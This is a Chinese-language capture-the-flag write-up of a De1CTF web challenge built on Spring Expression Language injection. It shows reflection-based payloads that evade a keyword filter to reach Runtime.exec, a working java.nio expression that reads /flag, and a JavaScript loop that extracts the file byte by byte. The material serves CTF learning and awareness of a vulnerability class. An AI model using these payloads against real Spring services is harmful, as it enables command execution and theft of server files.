摸了这次的 De1CTF,深感自己知识积累不够。这次解出的唯一一道 Web 题是 SpEL 注入题,我们就从这道题入手来了解一下吧(
题面
题目描述如下:
Please calculate the content of file /flag
http://tounikaku_server_addr/
题目本体给的是一个计算器:
经过观察,发现本质是调用 /spel/calc
进行计算:
其实这里的 spel
已经算是提示了,但第一次接触并看不出来.jpg((,所以到了接口先试了一下 xjb 表达式:
搜了一下 EL1044E
,确认是 SpEL
了。
SpEL 简介
SpEL,全程 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:
数组
不可修改
不可修改的数组可以通过 {a, a, b}
实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList
。
可修改
数组可以通过 {a, b + c}
实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable
了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList
。
值得注意的是,这里可以通过 ArrayList.toArray()
生成 Object[]
。
Map
Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMap
和 java.util.LinkedHashMap
。创建的格式类似 JSON,这里就直接略过了。
[]
运算符
[]
运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值。
整体语法和 JS 类似,但是有一些例外。对于 String
而言,[]
只能通过下标访问字符,因此 ''['class']
会报错而 ''.class
没有问题。
(不知道是不是这道题的问题,待确认
new
在 SpEL 中可以通过 new
来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new
,因此题解中并没有用到。
T(class)
使用诸如 T(java.lang.Runtime)
的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(
,因此本题没有用到。
构造尝试:java.lang.Runtime
首先是测了一下 WAF 过滤的内容:
java.lang
new
getClass
T(
#
String
getMethod('exec').invoke()
Runtime
exec(
绕过 T(
由于 T(
被限制,因此我们需要通过另一种方式绕过 T(
。这里我们使用的是 forName
:
''.class.forName('java'+'.lang.R'+'untime')
获取 getRuntime
由于 getRuntime
存在被过滤单词,因此只能通过反射获取方法:
''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))
成功获得 Runtime
实例:
exec
使用类似的方法构造 exec
,并尝试执行:
''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')
然而,执行的结果表明:使用了 openrasp
:
由于 openrasp
不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。
构造尝试:java.nio
文件读取
这里尝试通过 java.nio
直接读取文件。题目告诉我们要去 /flag
读,因此只要尝试读取 /flag
的内容就可以了。
''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))
这里直接返回了一个 byte[]
,看来是成功了。
获取内容
逐字符获取
通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:
arr = [];
func = (i) =>
fetch(
"http://106.52.164.141/spel/calc?calc=" +
escape(
`''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))[${i}]`
)
)
.then((t) => t.text())
.then((t) => arr.push(String.fromCharCode(t)));
for (let i = 0; i < 44; i++) await func(i);
(然而之前翻车了
最终正常拼接得到结果。
直接转换
依然是得到了指点(
尝试用这种方法获取字符串:
直接就读出来了(
总结
嘛,总之这题应该算是 SpEL
的入门题吧考验的还是 Java 功底。题中直接给出了 SpEL
的执行环境,而不是要靠我们去发掘。这至少告诉了我们在做 Java 题的时候还有这样一种注入手段,也是我们在使用 Spring 时所需要留意的,除去 SQL 注入的另一种注入漏洞。